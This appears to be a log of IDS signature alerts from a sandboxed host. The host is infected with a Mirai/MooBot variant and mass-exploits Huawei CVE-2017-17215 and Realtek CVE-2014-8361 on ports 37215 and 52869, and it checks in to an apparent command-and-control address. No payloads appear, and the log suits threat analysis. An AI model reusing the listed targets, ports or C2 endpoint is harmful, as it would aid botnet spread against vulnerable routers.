Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.151.90

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	53506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.186.66

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	35310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.138.236.184

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.124.50.61

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	59046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.141.118

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	47370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.117.93.58

Timestamp:	07/20/24-23:05:46.823837
SID:	2027339
Source Port:	50968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.219.109.51

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	40032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 42.140.137.117

Timestamp:	07/20/24-23:05:47.400564
SID:	2027339
Source Port:	45876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 88.169.184.0

Timestamp:	07/20/24-23:05:47.533480
SID:	2027339
Source Port:	34638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 116.152.21.19

Timestamp:	07/20/24-23:05:51.421136
SID:	2027339
Source Port:	49992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 209.76.121.16

Timestamp:	07/20/24-23:05:46.432576
SID:	2027339
Source Port:	56392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 115.82.227.44

Timestamp:	07/20/24-23:05:56.957732
SID:	2025132
Source Port:	54802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.125.225.82

Timestamp:	07/20/24-23:05:52.311537
SID:	2829579
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.99.192

Timestamp:	07/20/24-23:05:52.297846
SID:	2829579
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.189.127.218

Timestamp:	07/20/24-23:05:46.919504
SID:	2829579
Source Port:	55892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.236.2

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	34222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 58.221.228.247

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.208.62.251

Timestamp:	07/20/24-23:05:52.265126
SID:	2835222
Source Port:	40048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 105.38.165.57

Timestamp:	07/20/24-23:05:51.428628
SID:	2831300
Source Port:	56024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.249.74

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	51622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.46.14.97

Timestamp:	07/20/24-23:05:46.961659
SID:	2829579
Source Port:	42230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 27.97.182.214

Timestamp:	07/20/24-23:05:46.978420
SID:	2829579
Source Port:	38152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.204.53

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	53498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.234.99.161

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	58918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 54.79.20.157

Timestamp:	07/20/24-23:05:51.421877
SID:	2831300
Source Port:	54696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.14.145.123

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	45046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 101.73.4.16

Timestamp:	07/20/24-23:05:47.337367
SID:	2025132
Source Port:	38498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 191.248.177.130

Timestamp:	07/20/24-23:05:46.770868
SID:	2025132
Source Port:	51450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 196.191.7.200

Timestamp:	07/20/24-23:05:46.961659
SID:	2829579
Source Port:	49916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 187.232.79.235

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.196.45

Timestamp:	07/20/24-23:05:46.976751
SID:	2829579
Source Port:	51204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.106.71.120

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	34152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 184.167.112.86

Timestamp:	07/20/24-23:05:56.952811
SID:	2025132
Source Port:	60548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.214.94

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 19.234.58.42

Timestamp:	07/20/24-23:05:52.184799
SID:	2829579
Source Port:	33354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.54.205

Timestamp:	07/20/24-23:05:46.978420
SID:	2829579
Source Port:	48874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 136.107.92.11

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	59052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.174.159

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 88.169.184.0

Timestamp:	07/20/24-23:05:47.533480
SID:	2025132
Source Port:	34638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 151.81.162.218

Timestamp:	07/20/24-23:05:54.890589
SID:	2027339
Source Port:	40930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 124.62.99.179

Timestamp:	07/20/24-23:05:51.418319
SID:	2831300
Source Port:	50206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.66.244

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	46154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 152.36.106.192

Timestamp:	07/20/24-23:05:51.426840
SID:	2831300
Source Port:	55686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 42.140.137.117

Timestamp:	07/20/24-23:05:47.400564
SID:	2025132
Source Port:	45876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.102.202

Timestamp:	07/20/24-23:05:46.918113
SID:	2829579
Source Port:	51660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.172.40.25

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	57360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.233.207.44

Timestamp:	07/20/24-23:05:51.421136
SID:	2831300
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.158.111

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	46334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.203.139

Timestamp:	07/20/24-23:05:46.918113
SID:	2835222
Source Port:	44084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.234.67

Timestamp:	07/20/24-23:05:52.265126
SID:	2829579
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 184.167.112.86

Timestamp:	07/20/24-23:05:56.952811
SID:	2027339
Source Port:	60548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 102.46.199.20

Timestamp:	07/20/24-23:05:46.789697
SID:	2027339
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 36.180.172.129

Timestamp:	07/20/24-23:05:51.418349
SID:	2831300
Source Port:	43908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.73.107

Timestamp:	07/20/24-23:05:47.536680
SID:	2829579
Source Port:	39846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.12.119

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.165.109.42

Timestamp:	07/20/24-23:05:54.215956
SID:	2027339
Source Port:	44024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.99.124.156

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	37342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.62.31

Timestamp:	07/20/24-23:05:52.311537
SID:	2835222
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 39.125.186.30

Timestamp:	07/20/24-23:05:51.419676
SID:	2831300
Source Port:	46960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 159.113.67.133

Timestamp:	07/20/24-23:05:51.418934
SID:	2831300
Source Port:	33116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.237.206

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	58740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 151.81.162.218

Timestamp:	07/20/24-23:05:54.890589
SID:	2025132
Source Port:	40930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.219.0.80

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	37154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.89.181.63

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.49.152

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	48944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 218.45.227.32

Timestamp:	07/20/24-23:05:47.554542
SID:	2025132
Source Port:	54066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.159.9.134

Timestamp:	07/20/24-23:05:51.420131
SID:	2027339
Source Port:	40190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 179.157.205.164

Timestamp:	07/20/24-23:05:51.673723
SID:	2027339
Source Port:	51472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.79.20.157

Timestamp:	07/20/24-23:05:46.757135
SID:	2027339
Source Port:	53984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.221.243

Timestamp:	07/20/24-23:05:52.311537
SID:	2835222
Source Port:	35850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.26.166.115

Timestamp:	07/20/24-23:05:51.418855
SID:	2027339
Source Port:	42658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 35.16.104.164

Timestamp:	07/20/24-23:05:54.873671
SID:	2025132
Source Port:	60450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.182.144

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	38222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 209.76.121.16

Timestamp:	07/20/24-23:05:46.432576
SID:	2025132
Source Port:	56392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.184.169

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	43046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.11.182.124

Timestamp:	07/20/24-23:05:46.982251
SID:	2829579
Source Port:	34480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.17.189.116

Timestamp:	2024-07-20T23:05:51.750961+0200
SID:	2027339
Source Port:	52340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.221.172

Timestamp:	2024-07-20T23:05:46.924600+0200
SID:	2835222
Source Port:	53674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.151.18.206

Timestamp:	2024-07-20T23:06:06.820952+0200
SID:	2027339
Source Port:	37538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.192.42.134

Timestamp:	2024-07-20T23:06:31.893629+0200
SID:	2835222
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.253.221

Timestamp:	2024-07-20T23:05:47.002678+0200
SID:	2835222
Source Port:	42104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:05:46.759540+0200
SID:	2030490
Source Port:	54578
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.66.96.178

Timestamp:	2024-07-20T23:05:46.993784+0200
SID:	2835222
Source Port:	50980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.184.127

Timestamp:	2024-07-20T23:06:18.069125+0200
SID:	2835222
Source Port:	60188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 187.208.99.105

Timestamp:	2024-07-20T23:06:13.705655+0200
SID:	2835222
Source Port:	33406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 42.140.137.117

Timestamp:	2024-07-20T23:05:52.334778+0200
SID:	2027339
Source Port:	46576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.221.243

Timestamp:	2024-07-20T23:06:24.801624+0200
SID:	2835222
Source Port:	35850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.149.199.138

Timestamp:	2024-07-20T23:06:13.661140+0200
SID:	2835222
Source Port:	43786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 43.120.167.78

Timestamp:	2024-07-20T23:06:13.546850+0200
SID:	2835222
Source Port:	37648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.148.74.66

Timestamp:	2024-07-20T23:06:39.000233+0200
SID:	2835222
Source Port:	55410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.73.4.16

Timestamp:	2024-07-20T23:05:51.881997+0200
SID:	2027339
Source Port:	39196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.236.2

Timestamp:	2024-07-20T23:05:46.969349+0200
SID:	2835222
Source Port:	34222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 74.72.233.88

Timestamp:	2024-07-20T23:06:18.719061+0200
SID:	2027339
Source Port:	44984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:05:49.918586+0200
SID:	2030490
Source Port:	55944
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.86.68

Timestamp:	2024-07-20T23:05:47.016508+0200
SID:	2835222
Source Port:	33476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.18.75.134

Timestamp:	2024-07-20T23:06:09.110325+0200
SID:	2835222
Source Port:	52920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:05:41.654163+0200
SID:	2030490
Source Port:	53110
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.193.85.178

Timestamp:	2024-07-20T23:06:13.720162+0200
SID:	2835222
Source Port:	54768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

